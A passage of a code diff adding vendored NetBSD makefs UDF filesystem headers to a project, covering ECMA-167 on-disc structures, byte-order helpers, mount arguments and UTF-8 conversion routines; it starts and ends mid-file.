#define UDF_FILETIMES_FILE_CREATION 1
|
||||
#define UDF_FILETIMES_FILE_DELETION 4
|
||||
#define UDF_FILETIMES_FILE_EFFECTIVE 8
|
||||
#define UDF_FILETIMES_FILE_BACKUPED 16
|
||||
#define UDF_FILETIMES_ATTR_SIZE(no) (20 + (no)*sizeof(struct timestamp))
|
||||
|
||||
|
||||
/* Device Specification Extended Attribute [4/4.10.7] */
|
||||
struct device_extattr_entry {
|
||||
struct extattr_entry hdr;
|
||||
uint32_t iu_l; /* length of implementation use */
|
||||
uint32_t major;
|
||||
uint32_t minor;
|
||||
uint8_t data[1]; /* UDF: if nonzero length, contain developer ID regid */
|
||||
} __packed;
|
||||
#define UDF_DEVICESPEC_ATTR_NO 12
|
||||
|
||||
|
||||
/* VAT LV extension Extended Attribute [UDF 3.3.4.5.1.3] 1.50 errata */
|
||||
struct vatlvext_extattr_entry {
|
||||
uint64_t unique_id_chk; /* needs to be copy of ICB's */
|
||||
uint32_t num_files;
|
||||
uint32_t num_directories;
|
||||
char logvol_id[128]; /* replaces logvol name */
|
||||
} __packed;
|
||||
|
||||
|
||||
/* File Entry [4/14.9] */
|
||||
struct file_entry {
|
||||
struct desc_tag tag;
|
||||
struct icb_tag icbtag;
|
||||
uint32_t uid;
|
||||
uint32_t gid;
|
||||
uint32_t perm;
|
||||
uint16_t link_cnt;
|
||||
uint8_t rec_format;
|
||||
uint8_t rec_disp_attr;
|
||||
uint32_t rec_len;
|
||||
uint64_t inf_len;
|
||||
uint64_t logblks_rec;
|
||||
struct timestamp atime;
|
||||
struct timestamp mtime;
|
||||
struct timestamp attrtime;
|
||||
uint32_t ckpoint;
|
||||
struct long_ad ex_attr_icb;
|
||||
struct regid imp_id;
|
||||
uint64_t unique_id;
|
||||
uint32_t l_ea; /* Length of extended attribute area */
|
||||
uint32_t l_ad; /* Length of allocation descriptors */
|
||||
uint8_t data[1];
|
||||
} __packed;
|
||||
#define UDF_FENTRY_SIZE 176
|
||||
#define UDF_FENTRY_PERM_USER_MASK 0x07
|
||||
#define UDF_FENTRY_PERM_GRP_MASK 0xE0
|
||||
#define UDF_FENTRY_PERM_OWNER_MASK 0x1C00
|
||||
|
||||
|
||||
/* Extended File Entry [4/48.17] */
|
||||
struct extfile_entry {
|
||||
struct desc_tag tag;
|
||||
struct icb_tag icbtag;
|
||||
uint32_t uid;
|
||||
uint32_t gid;
|
||||
uint32_t perm;
|
||||
uint16_t link_cnt;
|
||||
uint8_t rec_format;
|
||||
uint8_t rec_disp_attr;
|
||||
uint32_t rec_len;
|
||||
uint64_t inf_len;
|
||||
uint64_t obj_size;
|
||||
uint64_t logblks_rec;
|
||||
struct timestamp atime;
|
||||
struct timestamp mtime;
|
||||
struct timestamp ctime;
|
||||
struct timestamp attrtime;
|
||||
uint32_t ckpoint;
|
||||
uint32_t reserved1;
|
||||
struct long_ad ex_attr_icb;
|
||||
struct long_ad streamdir_icb;
|
||||
struct regid imp_id;
|
||||
uint64_t unique_id;
|
||||
uint32_t l_ea; /* Length of extended attribute area */
|
||||
uint32_t l_ad; /* Length of allocation descriptors */
|
||||
uint8_t data[1];
|
||||
} __packed;
|
||||
#define UDF_EXTFENTRY_SIZE 216
|
||||
|
||||
|
||||
/* Indirect entry [ecma 48.7] */
|
||||
struct indirect_entry {
|
||||
struct desc_tag tag;
|
||||
struct icb_tag icbtag;
|
||||
struct long_ad indirect_icb;
|
||||
} __packed;
|
||||
|
||||
|
||||
/* Allocation extent descriptor [ecma 48.5] */
|
||||
struct alloc_ext_entry {
|
||||
struct desc_tag tag;
|
||||
uint32_t prev_entry;
|
||||
uint32_t l_ad;
|
||||
uint8_t data[1];
|
||||
} __packed;
|
||||
|
||||
|
||||
union dscrptr {
|
||||
struct desc_tag tag;
|
||||
struct anchor_vdp avdp;
|
||||
struct vol_desc_ptr vdp;
|
||||
struct pri_vol_desc pvd;
|
||||
struct logvol_desc lvd;
|
||||
struct unalloc_sp_desc usd;
|
||||
struct logvol_int_desc lvid;
|
||||
struct impvol_desc ivd;
|
||||
struct part_desc pd;
|
||||
struct fileset_desc fsd;
|
||||
struct fileid_desc fid;
|
||||
struct file_entry fe;
|
||||
struct extfile_entry efe;
|
||||
struct extattrhdr_desc eahd;
|
||||
struct indirect_entry inde;
|
||||
struct alloc_ext_entry aee;
|
||||
struct udf_sparing_table spt;
|
||||
struct space_bitmap_desc sbd;
|
||||
struct space_entry_desc sed;
|
||||
};
|
||||
|
||||
|
||||
#endif /* !_FS_UDF_ECMA167_UDF_H_ */
|
||||
35
thirdparty/makefs/udf/newfs_udf.h
vendored
Normal file
35
thirdparty/makefs/udf/newfs_udf.h
vendored
Normal file
@@ -0,0 +1,35 @@
|
||||
/* $NetBSD: newfs_udf.h,v 1.9 2022/04/09 09:58:11 riastradh Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 2006, 2008, 2013 Reinoud Zandijk
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _FS_UDF_NEWFS_UDF_H_
|
||||
#define _FS_UDF_NEWFS_UDF_H_
|
||||
|
||||
/* general settings */
|
||||
#define UDF_512_TRACK 0 /* NOT recommended */
|
||||
|
||||
#endif /* _FS_UDF_NEWFS_UDF_H_ */
|
||||
76
thirdparty/makefs/udf/udf_bswap.h
vendored
Normal file
76
thirdparty/makefs/udf/udf_bswap.h
vendored
Normal file
@@ -0,0 +1,76 @@
|
||||
/* $NetBSD: udf_bswap.h,v 1.8 2009/10/22 21:50:01 bouyer Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 1998 Manuel Bouyer.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* adapted for UDF by Reinoud Zandijk <reinoud@netbsd.org>
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _FS_UDF_UDF_BSWAP_H_
|
||||
#define _FS_UDF_UDF_BSWAP_H_
|
||||
|
||||
#include <endian.h>
|
||||
// #include <machine/bswap.h>
|
||||
// #include <sys/bswap.h>
|
||||
|
||||
/* rest only relevant for big endian machines */
|
||||
#if (BYTE_ORDER == BIG_ENDIAN)
|
||||
|
||||
/* inlines for access to swapped data */
|
||||
static __inline uint16_t udf_rw16(uint16_t);
|
||||
static __inline uint32_t udf_rw32(uint32_t);
|
||||
static __inline uint64_t udf_rw64(uint64_t);
|
||||
|
||||
|
||||
static __inline uint16_t
|
||||
udf_rw16(uint16_t a)
|
||||
{
|
||||
return bswap16(a);
|
||||
}
|
||||
|
||||
|
||||
static __inline uint32_t
|
||||
udf_rw32(uint32_t a)
|
||||
{
|
||||
return bswap32(a);
|
||||
}
|
||||
|
||||
|
||||
static __inline uint64_t
|
||||
udf_rw64(uint64_t a)
|
||||
{
|
||||
return bswap64(a);
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
#define udf_rw16(a) ((uint16_t)(a))
|
||||
#define udf_rw32(a) ((uint32_t)(a))
|
||||
#define udf_rw64(a) ((uint64_t)(a))
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
#endif /* !_FS_UDF_UDF_BSWAP_H_ */
|
||||
|
||||
63
thirdparty/makefs/udf/udf_mount.h
vendored
Normal file
63
thirdparty/makefs/udf/udf_mount.h
vendored
Normal file
@@ -0,0 +1,63 @@
|
||||
/* $NetBSD: udf_mount.h,v 1.4 2019/10/16 21:52:22 maya Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 2006 Reinoud Zandijk
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
*/
|
||||
|
||||
|
||||
#ifndef _FS_UDF_UDF_MOUNT_H_
|
||||
#define _FS_UDF_UDF_MOUNT_H_
|
||||
|
||||
/*
|
||||
* Arguments to mount UDF filingsystem.
|
||||
*/
|
||||
|
||||
#define UDFMNT_VERSION 1
|
||||
struct udf_args {
|
||||
uint32_t version; /* version of this structure */
|
||||
char *fspec; /* mount specifier */
|
||||
int32_t sessionnr; /* session specifier, rel of abs */
|
||||
uint32_t udfmflags; /* mount options */
|
||||
int32_t gmtoff; /* offset from UTC in seconds */
|
||||
|
||||
uid_t anon_uid; /* mapping of anonymous files uid */
|
||||
gid_t anon_gid; /* mapping of anonymous files gid */
|
||||
uid_t nobody_uid; /* nobody:nobody will map to -1:-1 */
|
||||
gid_t nobody_gid; /* nobody:nobody will map to -1:-1 */
|
||||
|
||||
uint32_t sector_size; /* for mounting dumps/files */
|
||||
|
||||
/* extendable */
|
||||
uint8_t reserved[32];
|
||||
};
|
||||
|
||||
|
||||
/* udf mount options */
|
||||
|
||||
#define UDFMNT_CLOSESESSION 0x00000001 /* close session on dismount */
|
||||
#define UDFMNT_BITS "\20\1CLOSESESSION"
|
||||
|
||||
#endif /* !_FS_UDF_UDF_MOUNT_H_ */
|
||||
|
||||
44
thirdparty/makefs/udf/udf_osta.h
vendored
Normal file
44
thirdparty/makefs/udf/udf_osta.h
vendored
Normal file
@@ -0,0 +1,44 @@
|
||||
/* $NetBSD: udf_osta.h,v 1.4 2008/05/14 16:49:48 reinoud Exp $ */
|
||||
|
||||
/*
|
||||
* Prototypes for the OSTA functions
|
||||
*/
|
||||
|
||||
|
||||
#ifndef _FS_UDF_OSTA_H_
|
||||
#define _FS_UDF_OSTA_H_
|
||||
|
||||
#include <sys/types.h>
|
||||
|
||||
#ifndef _KERNEL
|
||||
#include <stdbool.h>
|
||||
#endif
|
||||
|
||||
#ifndef UNIX
|
||||
#define UNIX
|
||||
#endif
|
||||
|
||||
#ifndef MAXLEN
|
||||
#define MAXLEN 255
|
||||
#endif
|
||||
|
||||
|
||||
/***********************************************************************
|
||||
* The following two typedef's are to remove compiler dependancies.
|
||||
* byte needs to be unsigned 8-bit, and unicode_t needs to be
|
||||
* unsigned 16-bit.
|
||||
*/
|
||||
typedef uint16_t unicode_t;
|
||||
typedef uint8_t byte;
|
||||
|
||||
|
||||
int udf_UncompressUnicode(int, byte *, unicode_t *);
|
||||
int udf_CompressUnicode(int, int, unicode_t *, byte *);
|
||||
unsigned short udf_cksum(unsigned char *, int);
|
||||
unsigned short udf_unicode_cksum(unsigned short *, int);
|
||||
uint16_t udf_ea_cksum(uint8_t *data);
|
||||
int UDFTransName(unicode_t *, unicode_t *, int);
|
||||
int UnicodeLength(unicode_t *string);
|
||||
|
||||
|
||||
#endif /* _FS_UDF_OSTA_H_ */
|
||||
161
thirdparty/makefs/udf/unicode.h
vendored
Normal file
161
thirdparty/makefs/udf/unicode.h
vendored
Normal file
@@ -0,0 +1,161 @@
|
||||
/* $NetBSD: unicode.h,v 1.1 2013/08/05 14:11:30 reinoud Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2001, 2004 The NetBSD Foundation, Inc.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS
|
||||
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS
|
||||
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*-
|
||||
* Copyright (c) 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Paul Borman at Krystal Technologies.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Routines for handling Unicode encoded in UTF-8 form, code derived from
|
||||
* src/lib/libc/locale/utf2.c.
|
||||
*/
|
||||
static u_int16_t wget_utf8(const char **, size_t *);
|
||||
static int wput_utf8(char *, size_t, u_int16_t);
|
||||
|
||||
/*
|
||||
* Read one UTF8-encoded character off the string, shift the string pointer
|
||||
* and return the character.
|
||||
*/
|
||||
static u_int16_t
|
||||
wget_utf8(const char **str, size_t *sz)
|
||||
{
|
||||
unsigned int c;
|
||||
u_int16_t rune = 0;
|
||||
const char *s = *str;
|
||||
static const int _utf_count[16] = {
|
||||
1, 1, 1, 1, 1, 1, 1, 1,
|
||||
0, 0, 0, 0, 2, 2, 3, 0,
|
||||
};
|
||||
|
||||
/* must be called with at least one byte remaining */
|
||||
assert(*sz > 0);
|
||||
|
||||
c = _utf_count[(s[0] & 0xf0) >> 4];
|
||||
if (c == 0 || c > *sz) {
|
||||
decoding_error:
|
||||
/*
|
||||
* The first character is in range 128-255 and doesn't
|
||||
* mark valid a valid UTF-8 sequence. There is not much
|
||||
* we can do with this, so handle by returning
|
||||
* the first character as if it would be a correctly
|
||||
* encoded ISO-8859-1 character.
|
||||
*/
|
||||
c = 1;
|
||||
}
|
||||
|
||||
switch (c) {
|
||||
case 1:
|
||||
rune = s[0] & 0xff;
|
||||
break;
|
||||
case 2:
|
||||
if ((s[1] & 0xc0) != 0x80)
|
||||
goto decoding_error;
|
||||
rune = ((s[0] & 0x1F) << 6) | (s[1] & 0x3F);
|
||||
break;
|
||||
case 3:
|
||||
if ((s[1] & 0xC0) != 0x80 || (s[2] & 0xC0) != 0x80)
|
||||
goto decoding_error;
|
||||
rune = ((s[0] & 0x0F) << 12) | ((s[1] & 0x3F) << 6)
|
||||
| (s[2] & 0x3F);
|
||||
break;
|
||||
}
|
||||
|
||||
*str += c;
|
||||
*sz -= c;
|
||||
return rune;
|
||||
}
|
||||
|
||||
/*
|
||||
* Encode wide character and write it to the string. 'n' specifies
|
||||
* how much buffer space remains in 's'. Returns number of bytes written
|
||||
* to the target string 's'.
|
||||
*/
|
||||
static int
|
||||
wput_utf8(char *s, size_t n, u_int16_t wc)
|
||||
{
|
||||
if (wc & 0xf800) {
|
||||
if (n < 3) {
|
||||
/* bound check failure */
|
||||
return 0;
|
||||
}
|
||||
|
||||
s[0] = 0xE0 | (wc >> 12);
|
||||
s[1] = 0x80 | ((wc >> 6) & 0x3F);
|
||||
s[2] = 0x80 | ((wc) & 0x3F);
|
||||
return 3;
|
||||
} else if (wc & 0x0780) {
|
||||
if (n < 2) {
|
||||
/* bound check failure */
|
||||
return 0;
|
||||
}
|
||||
|
||||
s[0] = 0xC0 | (wc >> 6);
|
||||
s[1] = 0x80 | ((wc) & 0x3F);
|
||||
return 2;
|
||||
} else {
|
||||
if (n < 1) {
|
||||
/* bound check failure */
|
||||
return 0;
|
||||
}
|
||||
|
||||
s[0] = wc;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
5114
thirdparty/makefs/udf_core.c
vendored
Normal file
5114
thirdparty/makefs/udf_core.c
vendored
Normal file
File diff suppressed because it is too large
Load Diff
414
thirdparty/makefs/udf_core.h
vendored
Normal file
414
thirdparty/makefs/udf_core.h
vendored
Normal file
@@ -0,0 +1,414 @@
|
||||
/* $NetBSD: udf_core.h,v 1.2 2022/04/09 09:58:11 riastradh Exp $ */
|
||||
|
||||
/*
|
||||
* Copyright (c) 2006, 2008, 2021, 2022 Reinoud Zandijk
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _FS_UDF_CORE_H_
|
||||
#define _FS_UDF_CORE_H_
|
||||
|
||||
|
||||
#if 0
|
||||
# ifndef DEBUG
|
||||
# define DEBUG
|
||||
# endif
|
||||
#endif
|
||||
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include "udf_bswap.h"
|
||||
#include "udf_osta.h"
|
||||
|
||||
#if !HAVE_NBTOOL_CONFIG_H
|
||||
#define _EXPOSE_MMC
|
||||
#include "cdio.h"
|
||||
#include "ecma167-udf.h"
|
||||
#else
|
||||
#include "udf/cdio_mmc_structs.h"
|
||||
#include "../../sys/fs/udf/ecma167-udf.h"
|
||||
#endif
|
||||
|
||||
|
||||
/* format flags indicating properties of disc to create */
|
||||
#define FORMAT_WRITEONCE 0x00001
|
||||
#define FORMAT_SEQUENTIAL 0x00002
|
||||
#define FORMAT_REWRITABLE 0x00004
|
||||
#define FORMAT_SPAREABLE 0x00008
|
||||
#define FORMAT_META 0x00010
|
||||
#define FORMAT_LOW 0x00020
|
||||
#define FORMAT_VAT 0x00040
|
||||
#define FORMAT_WORM 0x00080
|
||||
#define FORMAT_TRACK512 0x00100
|
||||
#define FORMAT_INVALID 0x00200
|
||||
#define FORMAT_READONLY 0x00400
|
||||
#define FORMAT_FLAGBITS \
|
||||
"\10\1WRITEONCE\2SEQUENTIAL\3REWRITABLE\4SPAREABLE\5META\6LOW" \
|
||||
"\7VAT\10WORM\11TRACK512\12INVALID\13READONLY"
|
||||
|
||||
/* writing strategy */
|
||||
#define UDF_WRITE_SEQUENTIAL 1
|
||||
#define UDF_WRITE_PACKET 2 /* with fill-in if needed */
|
||||
#define UDF_MAX_QUEUELEN 400 /* must hold all pre-partition space */
|
||||
|
||||
/* structure space */
|
||||
#define UDF_ANCHORS 4 /* 256, 512, N-256, N */
|
||||
#define UDF_PARTITIONS 4 /* overkill */
|
||||
#define UDF_PMAPS 4 /* overkill */
|
||||
|
||||
/* misc constants */
|
||||
#define UDF_MAX_NAMELEN 255 /* as per SPEC */
|
||||
#define UDF_LVDINT_SEGMENTS 10 /* big overkill */
|
||||
#define UDF_LVINT_LOSSAGE 4 /* lose 2 openings */
|
||||
#define UDF_MAX_ALLOC_EXTENTS 5 /* overkill */
|
||||
|
||||
/* translation constants */
|
||||
#define UDF_VTOP_RAWPART UDF_PMAPS /* [0..UDF_PMAPS> are normal */
|
||||
|
||||
/* virtual to physical mapping types */
|
||||
#define UDF_VTOP_TYPE_RAW 0
|
||||
#define UDF_VTOP_TYPE_UNKNOWN 0
|
||||
#define UDF_VTOP_TYPE_PHYS 1
|
||||
#define UDF_VTOP_TYPE_VIRT 2
|
||||
#define UDF_VTOP_TYPE_SPAREABLE 3
|
||||
#define UDF_VTOP_TYPE_META 4
|
||||
|
||||
#define UDF_TRANS_ZERO ((uint64_t) -1)
|
||||
#define UDF_TRANS_UNMAPPED ((uint64_t) -2)
|
||||
#define UDF_TRANS_INTERN ((uint64_t) -3)
|
||||
#define UDF_MAX_SECTOR ((uint64_t) -10) /* high water mark */
|
||||
|
||||
/* handys */
|
||||
#define UDF_ROUNDUP(val, gran) \
|
||||
((uint64_t) (gran) * (((uint64_t)(val) + (gran)-1) / (gran)))
|
||||
|
||||
#define UDF_ROUNDDOWN(val, gran) \
|
||||
((uint64_t) (gran) * (((uint64_t)(val)) / (gran)))
|
||||
|
||||
/* default */
|
||||
#define UDF_META_PERC 20 /* picked */
|
||||
|
||||
|
||||
/* disc offsets for various structures and their sizes */
|
||||
struct udf_disclayout {
|
||||
uint32_t wrtrack_skew;
|
||||
|
||||
uint32_t iso9660_vrs;
|
||||
uint32_t anchors[UDF_ANCHORS];
|
||||
uint32_t vds1_size, vds2_size, vds1, vds2;
|
||||
uint32_t lvis_size, lvis;
|
||||
|
||||
uint32_t first_lba, last_lba;
|
||||
uint32_t blockingnr, align_blockingnr, spareable_blockingnr;
|
||||
uint32_t meta_blockingnr, meta_alignment;
|
||||
|
||||
/* spareables */
|
||||
uint32_t spareable_blocks;
|
||||
uint32_t spareable_area, spareable_area_size;
|
||||
uint32_t sparing_table_dscr_lbas;
|
||||
uint32_t spt_1, spt_2;
|
||||
|
||||
/* metadata partition */
|
||||
uint32_t meta_file, meta_mirror, meta_bitmap;
|
||||
uint32_t meta_part_start_lba, meta_part_size_lba;
|
||||
uint32_t meta_bitmap_dscr_size;
|
||||
uint32_t meta_bitmap_space;
|
||||
|
||||
/* main partition */
|
||||
uint32_t part_start_lba, part_size_lba;
|
||||
uint32_t alloc_bitmap_dscr_size;
|
||||
uint32_t unalloc_space, freed_space;
|
||||
|
||||
/* main structures */
|
||||
uint32_t fsd, rootdir, vat;
|
||||
|
||||
};
|
||||
|
||||
|
||||
struct udf_lvintq {
|
||||
uint32_t start;
|
||||
uint32_t end;
|
||||
uint32_t pos;
|
||||
uint32_t wpos;
|
||||
};
|
||||
|
||||
|
||||
/* all info about discs and descriptors building */
|
||||
struct udf_create_context {
|
||||
/* descriptors */
|
||||
int dscrver; /* 2 or 3 */
|
||||
int min_udf; /* hex */
|
||||
int max_udf; /* hex */
|
||||
int serialnum; /* format serialno */
|
||||
|
||||
int gmtoff; /* in minutes */
|
||||
int meta_perc; /* format paramter */
|
||||
int check_surface; /* for spareables */
|
||||
int create_new_session; /* for non empty recordables */
|
||||
|
||||
uint32_t sector_size;
|
||||
int media_accesstype;
|
||||
int format_flags;
|
||||
int write_strategy;
|
||||
|
||||
/* identification */
|
||||
char *logvol_name;
|
||||
char *primary_name;
|
||||
char *volset_name;
|
||||
char *fileset_name;
|
||||
|
||||
char const *app_name;
|
||||
char const *impl_name;
|
||||
int app_version_main;
|
||||
int app_version_sub;
|
||||
|
||||
/* building */
|
||||
int vds_seq; /* for building functions */
|
||||
|
||||
